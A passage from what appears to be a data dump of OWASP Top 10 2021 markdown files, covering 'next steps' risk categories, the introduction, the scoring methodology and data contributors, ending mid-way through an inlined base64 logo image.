- [OWASP Vulnerabilities: Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)
- [OWASP Attacks: Buffer Overflow](https://owasp.org/www-community/attacks/Buffer_overflow_attack)
- [Science Direct: Integer Overflow](https://www.sciencedirect.com/topics/computer-science/integer-overflow)
| 6,542 | 0.006288 | # A11:2021 – Next Steps
By design, the OWASP Top 10 is innately limited to the ten most
significant risks. Every OWASP Top 10 has “on the cusp” risks considered
at length for inclusion, but in the end, they didn’t make it. No matter
how we tried to interpret or twist the data, the other risks were more
prevalent and impactful.
Organizations working towards a mature appsec program or security
consultancies or tool vendors wishing to expand coverage for their
offerings, the following four issues are well worth the effort to
identify and remediate.
## Code Quality issues
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 38 | 49.46% | 2.22% | 7.1 | 6.7 | 60.85% | 23.42% | 101736 | 7564 |
- **Description.** Code quality issues include known security defects
or patterns, reusing variables for multiple purposes, exposure of
sensitive information in debugging output, off-by-one errors, time
of check/time of use (TOCTOU) race conditions, unsigned or signed
conversion errors, use after free, and more. The hallmark of this
section is that they can usually be identified with stringent
compiler flags, static code analysis tools, and linter IDE plugins.
Modern languages by design eliminated many of these issues, such as
Rust’s memory ownership and borrowing concept, Rust’s threading
design, and Go’s strict typing and bounds checking.
- **How to prevent**. Enable and use your editor and language’s static
code analysis options. Consider using a static code analysis tool.
Consider if it might be possible to use or migrate to a language or
framework that eliminates bug classes, such as Rust or Go.
- **Example attack scenarios**. An attacker might obtain or update
sensitive information by exploiting a race condition using a
statically shared variable across multiple threads.
- **References**
- [OWASP Code Review Guide](https://owasp.org/www-pdf-archive/OWASP_Code_Review_Guide_v2.pdf)
- [Google Code Review Guide](https://google.github.io/eng-practices/review/)
## Denial of Service
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 8 | 17.54% | 4.89% | 8.3 | 5.9 | 79.58% | 33.26% | 66985 | 973 |
- **Description**. Denial of service is always possible given
sufficient resources. However, design and coding practices have a
significant bearing on the magnitude of the denial of service.
Suppose anyone with the link can access a large file, or a
computationally expensive transaction occurs on every page. In that
case, denial of service requires less effort to conduct.
- **How to prevent**. Performance test code for CPU, I/O, and memory
usage, re-architect, optimize, or cache expensive operations.
Consider access controls for larger objects to ensure that only
authorized individuals can access huge files or objects or serve
them by an edge caching network.
- **Example attack scenarios**. An attacker might determine that an
operation takes 5-10 seconds to complete. When running four
concurrent threads, the server seems to stop responding. The
attacker uses 1000 threads and takes the entire system offline.
- **References**
- [OWASP Cheat Sheet: Denial of Service](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
- [OWASP Attacks: Denial of Service](https://owasp.org/www-community/attacks/Denial_of_Service)
## Memory Management Errors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 14 | 7.03% | 1.16% | 6.7 | 8.1 | 56.06% | 31.74% | 26576 | 16184 |
- **Description**. Web applications tend to be written in managed
memory languages, such as Java, .NET, or node.js (JavaScript or
TypeScript). However, these languages are written in systems
languages that have memory management issues, such as buffer or heap
overflows, use after free, integer overflows, and more. There have
been many sandbox escapes over the years that prove that just
because the web application language is nominally memory “safe,” the
foundations are not.
- **How to prevent**. Many modern APIs are now written in memory-safe
languages such as Rust or Go. In the case of Rust, memory safety is
a crucial feature of the language. For existing code, the use of
strict compiler flags, strong typing, static code analysis, and fuzz
testing can be beneficial in identifying memory leaks, memory, and
array overruns, and more.
- **Example attack scenarios**. Buffer and heap overflows have been a
mainstay of attackers over the years. The attacker sends data to a program, which it stores in an undersized stack buffer. The result is that information on the call stack is overwritten, including the function’s return pointer. The data sets the value of the return pointer so that when the function returns, it transfers control to malicious code contained in the attacker’s data.
- **References**
- [OWASP Vulnerabilities: Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)
- [OWASP Attacks: Buffer Overflow](https://owasp.org/www-community/attacks/Buffer_overflow_attack)
- [Science Direct: Integer Overflow](https://www.sciencedirect.com/topics/computer-science/integer-overflow)
|
index.md | ./Top10/2021/docs/index.md | # Introduction
## Welcome to the OWASP Top 10 - 2021
![OWASP Top 10 Logo](./assets/TOP_10_logo_Final_Logo_Colour.png){:class="img-responsive"}
Welcome to the latest installment of the OWASP Top 10! The OWASP Top 10 2021 is all-new, with a new graphic design and an available one-page infographic you can print or obtain from our home page.
A huge thank you to everyone that contributed their time and data for this iteration. Without you, this installment would not happen. **THANK YOU!**
## What's changed in the Top 10 for 2021
There are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021. We've changed names when necessary to focus on the root cause over the symptom.
![Mapping](assets/mapping.png)
- **[A01:2021-Broken Access Control](A01_2021-Broken_Access_Control.md)** moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category.
- **[A02:2021-Cryptographic Failures](A02_2021-Cryptographic_Failures.md)** shifts up one position to #2, previously known as **A3:2017-Sensitive Data Exposure**, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise.
- **[A03:2021-Injection](A03_2021-Injection.md)** slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition.
- **[A04:2021-Insecure Design](A04_2021-Insecure_Design.md)** is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to "move left" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks.
- **[A05:2021-Security Misconfiguration](A05_2021-Security_Misconfiguration.md)** moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for **A4:2017-XML External Entities (XXE)** is now part of this risk category.
- **[A06:2021-Vulnerable and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components.md)** was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores.
- **[A07:2021-Identification and Authentication Failures](A07_2021-Identification_and_Authentication_Failures.md)** was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping.
- **[A08:2021-Software and Data Integrity Failures](A08_2021-Software_and_Data_Integrity_Failures.md)** is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. **A8:2017-Insecure Deserialization** is now a part of this larger category.
- **[A09:2021-Security Logging and Monitoring Failures](A09_2021-Security_Logging_and_Monitoring_Failures.md)** was previously **A10:2017-Insufficient Logging & Monitoring** and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics.
- **[A10:2021-Server-Side Request Forgery](A10_2021-Server-Side_Request_Forgery_(SSRF).md)** is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time.
## Methodology
This installment of the Top 10 is more data-driven than ever but not blindly data-driven. We selected eight of the ten categories from contributed data and two categories from the Top 10 community survey at a high level. We do this for a fundamental reason, looking at the contributed data is looking into the past. AppSec researchers take time to find new vulnerabilities and new ways to test for them. It takes time to integrate these tests into tools and processes. By the time we can reliably test a weakness at scale, years have likely passed. To balance that view, we use a community survey to ask application security and development experts on the front lines what they see as essential weaknesses that the data may not show yet.
There are a few critical changes that we adopted to continue to mature the Top 10.
## How the categories are structured
A few categories have changed from the previous installment of the OWASP Top Ten. Here is a high-level summary of the category changes.
Previous data collection efforts were focused on a prescribed subset of approximately 30 CWEs with a field asking for additional findings. We learned that organizations would primarily focus on just those 30 CWEs and rarely add additional CWEs that they saw. In this iteration, we opened it up and just asked for data, with no restriction on CWEs. We asked for the number of applications tested for a given year (starting in 2017), and the number of applications with at least one instance of a CWE found in testing. This format allows us to track how prevalent each CWE is within the population of applications. We ignore frequency for our purposes; while it may be necessary for other situations, it only hides the actual prevalence in the application population. Whether an application has four instances of a CWE or 4,000 instances is not part of the calculation for the Top 10. We went from approximately 30 CWEs to almost 400 CWEs to analyze in the dataset. We plan to do additional data analysis as a supplement in the future. This significant increase in the number of CWEs necessitates changes to how the categories are structured.
We spent several months grouping and categorizing CWEs and could have continued for additional months. We had to stop at some point. There are both *root cause* and *symptom* types of CWEs, where *root cause* types are like "Cryptographic Failure" and "Misconfiguration" contrasted to *symptom* types like "Sensitive Data Exposure" and "Denial of Service." We decided to focus on the *root cause* whenever possible as it's more logical for providing identification and remediation guidance. Focusing on the *root cause* over the *symptom* isn't a new concept; the Top Ten has been a mix of *symptom* and *root cause*. CWEs are also a mix of *symptom* and *root cause*; we are simply being more deliberate about it and calling it out. There is an average of 19.6 CWEs per category in this installment, with the lower bounds at 1 CWE for **A10:2021-Server-Side Request Forgery (SSRF)** to 40 CWEs in **A04:2021-Insecure Design**. This updated category structure offers additional training benefits as companies can focus on CWEs that make sense for a language/framework.
## How the data is used for selecting categories
In 2017, we selected categories by incidence rate to determine likelihood, then ranked them by team discussion based on decades of experience for *Exploitability*, *Detectability* (also *likelihood*), and *Technical Impact*. For 2021, we want to use data for *Exploitability* and *(Technical) Impact* if possible.
We downloaded OWASP Dependency Check and extracted the CVSS Exploit, and Impact scores grouped by related CWEs. It took a fair bit of research and effort as all the CVEs have CVSSv2 scores, but there are flaws in CVSSv2 that CVSSv3 should address. After a certain point in time, all CVEs are assigned a CVSSv3 score as well. Additionally, the scoring ranges and formulas were updated between CVSSv2 and CVSSv3.
In CVSSv2, both *Exploit* and *(Technical) Impact* could be up to 10.0, but the formula would knock them down to 60% for *Exploit* and 40% for *Impact*. In CVSSv3, the theoretical max was limited to 6.0 for *Exploit* and 4.0 for *Impact*. With the weighting considered, the Impact scoring shifted higher, almost a point and a half on average in CVSSv3, and exploitability moved nearly half a point lower on average.
There are 125k records of a CVE mapped to a CWE in the National Vulnerability Database (NVD) data extracted from OWASP Dependency Check, and there are 241 unique CWEs mapped to a CVE. 62k CWE maps have a CVSSv3 score, which is approximately half of the population in the data set.
For the Top Ten 2021, we calculated average *exploit* and *impact* scores in the following manner. We grouped all the CVEs with CVSS scores by CWE and weighted both *exploit* and *impact* scored by the percentage of the population that had CVSSv3 + the remaining population of CVSSv2 scores to get an overall average. We mapped these averages to the CWEs in the dataset to use as *Exploit* and *(Technical) Impact* scoring for the other half of the risk equation.
## Why not just pure statistical data?
The results in the data are primarily limited to what we can test for in an automated fashion. Talk to a seasoned AppSec professional, and they will tell you about stuff they find and trends they see that aren't yet in the data. It takes time for people to develop testing methodologies for certain vulnerability types and then more time for those tests to be automated and run against a large population of applications. Everything we find is looking back in the past and might be missing trends from the last year, which are not present in the data.
Therefore, we only pick eight of ten categories from the data because it's incomplete. The other two categories are from the Top 10 community survey. It allows the practitioners on the front lines to vote for what they see as the highest risks that might not be in the data (and may never be expressed in data).
## Why incidence rate instead of frequency?
There are three primary sources of data. We identify them as Human-assisted Tooling (HaT), Tool-assisted Human (TaH), and raw Tooling.
Tooling and HaT are high-frequency finding generators. Tools will look for specific vulnerabilities and tirelessly attempt to find every instance of that vulnerability and will generate high finding counts for some vulnerability types. Look at Cross-Site Scripting, which is typically one of two flavors: it's either a more minor, isolated mistake or a systemic issue. When it's a systemic issue, the finding counts can be in the thousands for a single application. This high frequency drowns out most other vulnerabilities found in reports or data.
TaH, on the other hand, will find a broader range of vulnerability types but at a much lower frequency due to time constraints. When humans test an application and see something like Cross-Site Scripting, they will typically find three or four instances and stop. They can determine a systemic finding and write it up with a recommendation to fix on an application-wide scale. There is no need (or time) to find every instance.
Suppose we take these two distinct data sets and try to merge them on frequency. In that case, the Tooling and HaT data will drown the more accurate (but broad) TaH data and is a good part of why something like Cross-Site Scripting has been so highly ranked in many lists when the impact is generally low to moderate. It's because of the sheer volume of findings. (Cross-Site Scripting is also reasonably easy to test for, so there are many more tests for it as well).
In 2017, we introduced using incidence rate instead to take a fresh look at the data and cleanly merge Tooling and HaT data with TaH data. The incidence rate asks what percentage of the application population had at least one instance of a vulnerability type. We don't care if it was one-off or systemic. That's irrelevant for our purposes; we just need to know how many applications had at least one instance, which helps provide a clearer view of the testing is findings across multiple testing types without drowning the data in high-frequency results. This corresponds to a risk related view as an attacker needs only one instance to attack an application successfully via the category.
## What is your data collection and analysis process?
We formalized the OWASP Top 10 data collection process at the Open Security Summit in 2017. OWASP Top 10 leaders and the community spent two days working out formalizing a transparent data collection process. The 2021 edition is the second time we have used this methodology.
We publish a call for data through social media channels available to us, both project and OWASP. On the OWASP Project page, we list the data elements and structure we are looking for and how to submit them. In the GitHub project, we have example files that serve as templates. We work with organizations as needed to help figure out the structure and mapping to CWEs.
We get data from organizations that are testing vendors by trade, bug bounty vendors, and organizations that contribute internal testing data. Once we have the data, we load it together and run a fundamental analysis of what CWEs map to risk categories. There is overlap between some CWEs, and others are very closely related (ex. Cryptographic vulnerabilities). Any decisions related to the raw data submitted are documented and published to be open and transparent with how we normalized the data.
We look at the eight categories with the highest incidence rates for inclusion in the Top 10. We also look at the Top 10 community survey results to see which ones may already be present in the data. The top two votes that aren't already present in the data will be selected for the other two places in the Top 10. Once all ten were selected, we applied generalized factors for exploitability and impact; to help rank the Top 10 2021 in a risk based order.
## Data Factors
There are data factors that are listed for each of the Top 10 Categories, here is what they mean:
- CWEs Mapped: The number of CWEs mapped to a category by the Top 10 team.
- Incidence Rate: Incidence rate is the percentage of applications vulnerable to that CWE from the population tested by that org for that year.
- (Testing) Coverage: The percentage of applications tested by all organizations for a given CWE.
- Weighted Exploit: The Exploit sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.
- Weighted Impact: The Impact sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.
- Total Occurrences: Total number of applications found to have the CWEs mapped to a category.
- Total CVEs: Total number of CVEs in the NVD DB that were mapped to the CWEs mapped to a category.
## Thank you to our data contributors
The following organizations (along with some anonymous donors) kindly donated data for over 500,000 applications to make this the largest and most comprehensive application security data set. Without you, this would not be possible.
- AppSec Labs
- Cobalt.io
- Contrast Security
- GitLab
- HackerOne
- HCL Technologies
- Micro Focus
- PenTest-Tools
- Probely
- Sqreen
- Veracode
- WhiteHat (NTT)
## Thank you to our sponsors
The OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior and Just Eat.
[![Secure Code Warrior](assets/securecodewarrior.png){ width="256" }](https://securecodewarrior.com)
[![Just Eats](assets/JustEat.png){ width="256" }](https://www.just-eat.co.uk/)
| 17,138 | 0.016344 | # Introduction
## Welcome to the OWASP Top 10 - 2021
![OWASP Top 10 Logo](data:image/png;base64,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